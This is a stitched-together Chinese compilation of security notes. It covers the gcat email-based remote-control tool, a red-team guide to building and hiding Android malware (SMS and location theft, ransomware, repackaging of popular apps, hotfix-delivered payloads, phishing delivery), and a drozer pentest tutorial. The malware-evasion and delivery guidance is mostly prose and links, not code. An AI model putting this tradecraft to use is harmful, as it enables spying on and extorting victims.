通过payload代码中第504行开始(sendEmail Class),我们可以知道这里就是发送邮件的地方。首先该程序会以这个会话的ID为发件人发一封邮件到payload设置的邮箱里面。我们可以确定整个程序编译是没有任何问题的。
继续往下看看控制端程序(gcat.py)。从235行开始,我们可以知道它的全部命令。
往上继续看,原来这个data目录主要是存储屏幕截图的。
但是当我准备输入-list的时候出错了。连接居然超时了,这个很不正常啊!重新浏览了两个python脚本的代码,都正确啊。
当时我的内心是大写的崩溃。不怕代码出错误,就怕出了错误不知道在哪里。Google 的时候发现了这么一个东西。OMG!我设置的两个账号都是QQ和163的,原来是这个原因。
后面得知Gmail没问题。做做实验还可以,要实际使用就不行了,因为Gmail在国内早被墙了。要解决这个问题也可以,就是用php脚本进行编译,因为QQ,163等对于php的邮箱模块支持没什么问题。这里就不继续讲解了,文章主要是做一个演示的作用。
Email C&C服务器相关代码:https://github.com/byt3bl33d3r/gcat
勒索、远控、APT
流 程
新手在学习 MetaSploit 时,也会照着书中的案例依葫芦画瓢:
- 生成一个恶意 apk
- 给 apk 签名
- 让目标来安装
这样就可以收到目标回传的信息,实施更多的控制。当然现实世界的进攻会非常复杂和依赖于各种环境和条件的限制,不过不得不承认,进攻的本质确实是这三条,分别对应:
- 完成恶意应用的具体功能模块
- 通过各种免杀技术使App可以存活并运行
- 各显神通去诱骗 目标(受害者) 下载、安装和使用
功能:远控、上传、勒索、加密
哪些功能是恶意应用必备的呢?
最起码联络cc
,通过服务端下发指令并执行要有吧:
获取并上传用户短信:
通过 Accessibility Service 直接操作模拟点击手机界面:
上传用的定位、串号、手机状态等信息:
上述这些只是冰山一角,如果配合root可以做到对其他应用如手机浏览器进行注入,启动用户手机指定App,删除指定应用,更新恶意插件等恶意行为。
当然现在的手机想要root是非常困难了,但并不妨碍很多高级APT团伙使用0day或1day来开发Exploit进行远程root,这就需要更为昂贵的投入和深厚的技术功底了。这也是为何现在的APT频频有国家队作为背后支撑的原因。
当然在社会上被广泛使用的还是比较低级的加密、锁机、或者上传视频进行勒索。
当然不要小看这些低级技术的危害,比如我们的时间管理大师——罗志祥就曾经在这上面栽过跟头:早期罗志祥与网友裸聊画面曝光 曾上节目哭诉辩解。
不排除甲方老板也好这一口,对吧。比如有些人表面上在白天他是演员,其实到了晚上他是运动员。社工很多时候是真的比0day
、1day
好用。
在内网把各种资料都搜集到了之后,如何不走网关不动声色地上传到cc
呢?这就用到前文讲的手机卡流量逃逸了。
传统免杀技术:混淆、加密、VMP
这部分其实跟App加固是重合的,因为原理是一模一样的。
前者的目标是保护App不被逆向破解者给分析,后者是为了掩盖特征,逃过杀软或者行为管理软件的识别。
你用msf生成一个payload,啥也不干就发到对方机器上,那就等于去送人头,不杀你杀谁呢?或者攻击团队煞费苦心开发了好几个月的木马,啥也不防就发过去,其实就是给防守团队送源码去的。
总得混淆、加密甚至上个VMP保护下吧,虽然还是会被病毒分析人员分析,并且肯定会被扒个底朝天,但是恶心他一下也好啊。
这部分技术非常多,这里主要也就是给个索引,大家有兴趣可以自行深入分析。
混淆:
资源混淆:https://github.com/shwenzhang/AndResGuard/blob/master/README.zh-cn.md
代码混淆。
Java混淆:字符串加解密、免费的ProGuard和商业版DexGuard
Native混淆:Ollvm、字符串混淆、自主混淆器libsgmain
反反编译器:
花指令。
重打包对抗:对抗 jd-gui、dex2jar、baksmali、shakaapktool、androguard
反调试:
17种反调试收集:https://bbs.pediy.com/thread-223460.htm
签名校验、模拟器检测、hook检测、root检测:梆梆:https://bbs.pediy.com/thread-223141.htm
加固
业务场景加固(安全键盘、防拷贝、防截图)
Java 源码加固(华为方舟Java2C):https://zhuanlan.zhihu.com/openarkcompiler
Dex 加固
整体型:https://github.com/guanchao/apk_auto_enforce
抽取型:http://www.520monkey.com/archives/1118
Dex2C:https://bbs.pediy.com/thread-253987.htm
VMP:https://github.com/chago/ADVMP
so 加固
节加密、函数加密、动态注册、hook重定向:https://github.com/guanchao/AppProtect
自定义 linker:https://bbs.pediy.com/thread-225798.htm
内存免杀技术:重打包、VA、Hotfix
直接送个apk
给对方,让对方安装,还是难度颇大。
有简单的方式就是拿市面上的大厂App
解包之后,安插进自己的代码,重打包,然后可以:
- 创造机会让对方下载,比如公司规定安装某银行的手机客户端,邮件里还附上了
apk
,对方大概率会下载安装; - 或者有机会接触对方手机的话,直接就把他原来的微信卸载了,装上自己重打包的微信;你的代码就跑在微信里,所有的权限都继承自微信,那其实他在攻击者眼中就没有秘密了。
其实重打包做免杀的技术已经广泛应用在山寨App
的黑色产业链之中了,他们的盈利方式是通过往热门应用“插包”、“重打包”的方式,植入广告劫持模块进行刷量作弊,当正常用户被诱导安装使用了这些真假难辨的山寨应用后,即可实现对广告主的,以为自己在正常使用App
,其实是在疯狂点击广告,实现对正规广告主的”薅羊毛”行为。
想要将远控、或上传等代码隐藏好,实现不落地加载的话,可以将核心逻辑不要直接重打包进包里,而是做个hotfix
,等App
执行一段时间之后,再通过下发补丁包,让已安装的客户端来执行远控代码。
得益于安卓平台的开放性,热修复在安卓平台几乎无所不能,可以修复资源文件、修复代码(类、方法等),甚至连so
库都可以修复,常用的框架有阿里系的AndFix
、Hotfix
,腾讯系的Tinker
、QFix
,还有美团的等等。
这些本应用于动态修复bug
、免重安装修复bug
的热修复框架,到了红队手中也是摇身一变,就好比张小泉的菜刀,切菜好用,摇身一变就是“中国菜刀”。
最后再介绍一种动态掩盖特征的方法,那就是用VA
来“加固”,VA
等多开工具将安卓系统与VA
内的应用隔离,使得应用的静态特征被动态掩盖,目前己有广泛的恶意应用使用VA
对自身重打包,重打包后的应用包名、软件名与原应用不同,从而逃过静态查杀。
等到VA
运行时,可以解密恶意应用Apk
,通过反射等技术欺骗安卓系统来运行未安装在系统中的Apk
,到这一步就跟正常的App
无异了,这方面也有一篇详细的文章:《VirtualApp技术黑产利用研究报告》。
VA
的本质就跟Windows
平台上的壳技术差不多,先于恶意应用前运行,瞒过杀软之后,再将恶意应用释放出来运行。
加载器:社工、水坑、钓鱼、引流
payload
功能实现了,做了加密和混淆加固了,核心逻辑做了热补丁动态下发(可以到内网的小美手机那里下,前面不是开启了APACHE SERVER
么?),如果目标还是不安装,那一切还是等于零。
其实前面已经说了几种方法,比如伪装成集团IT
部分要求大家统一安装,这也是最常见的社会工程学手段,俗称钓鱼或者水坑,大家经常收到这种员工薪酬.xls
、员工通讯录2020版.doc
等文件,打开即会释放宏木马,攻陷PC
,如果此时企业App
的开发者把开发手机也连在电脑上,也会给处于开发者模式的手机安装恶意软件。
也可以直接攻陷集团MDM
服务器,直接分发木马,见这篇:Hackers breach company’s MDM server to spread Android malware,或者直接想办法拿到对方的手机,这也是直接出击的社工了,“美人计”甚至“美男计”也属于社工的一部分。兵者、诡道也。
社工的成功率是非常高的,所以大家也会经常受到各种诱导点击链接短信,菠菜、色流等一大堆。不要小看人类最原始的本能欲望,色流在黑产中的应用范围之广超出想象,前面说的时间管理大师都会中招。
说不定油腻中年老板就喜欢这些妹妹呢?这些照骗确实让人把持不住。
总结:只是开始
在ARM设备武器化指南攻击篇中,介绍了Kali Nethunter包括Rootless版本和完整版的安装、使用和简单上手实践,还有一般木马、远控的免杀思路和方法。
其实Kali Nethunter的强大之处不仅在于攻击,在防守方面也照样“屡立奇功”,比如得益于其定制版内核解锁arm64架构的Linux软件包安装,可以作为App沙箱和蜜罐,捕获木马并进行内核层面的“降维”攻击分析。详细分析流程和思路敬请期待防守篇。
6、Android 渗透测试
关键字:类似 nethunter 的软件
移动端渗透测试工具相比丰富的web端真的是少之又少,drozer 就是移动端的一个工具。
ADB Shell 命令帮助:https://adbshell.com/downloads
andrax
andrax 是一个以 APP 安装方式的安卓渗透OS。和 nethunter有点类似,因为 nethunter 需要刷进手机时有的手机不支持,如果不刷而是使用 ternux 安装,某些工具因为获取不到root权限会出现问题。就可以放弃 termux + nethunter 转而使用 andrax
Andrax5通用版安装教程,让你拥有强大的渗透测试工具:https://zhuanlan.zhihu.com/p/615387221
andrax pentest 高级专业黑客安卓渗透测试工具:https://www.ddosi.org/andrax/
drozer
Drozer 是一个Android安全测试框架:https://github.com/WithSecureLabs/drozer
drozer 允许你通过 应用程序(drozer-agent.apk) 与 "Android SDK、其他app、底层操作系统" 进行交互,从而来搜索应用程序和设备中的安全漏洞。感觉就是 drozer 通过分析AndroidManifest.xml,看四大组件中有没有可 export 的,如果有那么就去详细查看这些可export的组件是不是真有问题。
电脑上安装
注意:无法在Windows主机上运行 drozer,必须在 虚拟机(推荐Kali、Ubuntu) 或 Docker 容器里面运行 drozer。容器和基本设置:https://hub.docker.com/r/withsecurelabs/drozer
从 github下载最新版本drozer的whl包并安装 :sudo pip install drozer-<version>.whl
linux 安装 adb:apt-get install android-tools-adb
手机上安装 drozer-agent.apk
下载 drozer-agent.apk:https://github.com/WithSecureLabs/drozer-agent/releases/latest
通过 adb 安装:adb install drozer-agent.apk
会话设置
容器启动后 drozer 控制台就安装成功了。然后在Android设备中安装drozer-agent.apk ,使用 adb 或者直接下载到 Android 设备中安装。安装成功后运行。
确保右下角按钮显示为 "开启"。设置端口转发,以便你的PC可以连接到设备或模拟器内的 打开的TCP套接字。默认情况下,drozer 使用端口 31415:adb forward tcp:31415 tcp:31415
开始会话
在PC上,使用 drozer 控制台进行连接:drozer console connect
root@kali:~# adb forward tcp:31415 tcp:31415
root@kali:~# drozer console connect如果使用真实的设备,则必须指定设备的IP:drozer console connect --server 192.168.0.10
应该看到一个drozer命令提示符
使用 drozer 对 app 渗透测试
run 执行drozer模块
list 显示当前会话中可以执行的所有drozer模块的列表。这将隐藏您没有适当权限运行的模块。
shell 在代理进程的上下文中,在设备上启动交互式Linux shell。
cd 将特定的命名空间挂载为会话的根,以避免重复键入模块的全名。
clean 删除Android设备上drozer存储的临时文件。
contributors 显示对drozer框架和系统中使用的模块做出贡献的人员列表。
echo 将文本打印到控制台。
exit 终止 drozer 会话.
help 显示有关特定命令或模块的帮助。
load 加载一个包含drozer命令的文件,并按顺序执行它们。
module 从互联网上查找并安装其他drozer模块。
permissions 显示授予drozer代理的权限列表。
set 在变量中存储一个值,该变量将作为环境变量传递给drozer生成的任何Linux shell。
unset 删除drozer传递给它生成的任何Linux shell的命名变量。
可以用 help ,list 查看使用方法和功能
利用 drozer 进行Android渗透测试:https://www.cnblogs.com/goodhacker/p/3906180.html
查看模块列表:dz> list
获取app包列表:dz> run app.package.list
1.检测四大组件安全 :
run app.activity.info -a <包名>
run app.broadcast.info -a <包名>
run app.service.info -a <包名>
run app.provider.info -a <包名>2.检测URI数据泄露风险:
Drozer的scanner模块提供了一些方法去猜测可能存在的content URIs.
run scanner.provider.finduris -a <包名>3.检测文件遍历漏洞 :
Drozer的Scanner模块提供了一些方法去检测本地Content Provider数据是否有文件遍历漏洞风险的接口。
run scanner.provider.traversal -a <包名>4.检测是否存在本地sql注入:
Drozer的Scanner模块提供了一些方法去检测本地储存的SQLite数据是否有SQL注入的风险.
run scanner.provider.injection -a <包名>
首先,使用 list 查看支持哪些模块;
然后,使用 help module_name,或者run module_name -h查看各module的用法;
最后,通过 run module_name module_options 来对 app 进行检测。
- 通过app.package.list模块获取要检测的app的包名:run app.package.list -f filter_str
- 使用app.package.info模块查看apk基本信息:run app.package.info -a package_name
- 使用app.package.attacksurface模块识别 攻击面:run app.package.attacksurface package_name
所谓攻击面,应该就是指可export的安卓四大组件(activaty、broadcast receiver、content
provider、service)如果查看到四大组件中有可export的,就去具体看可export的组件有没有问题。 - 使用app.activity.info模块查看activity组件信息:run app.activity.info -a package_name
- 使用app.provider.info模块查看content provider组件信息: run app.provider.info -a package_name
- 使用app.service.info模块查看service组件信息:run app.service.info -a package_name
mobile高手进阶区“基础Android”逆向过程,三种方法:https://www.52pojie.cn/thread-1632193-1-1.html
Drozer实践指南 https://www.freebuf.com/column/175218.html
APP的安全性测试指南:https://zhuanlan.zhihu.com/p/157219023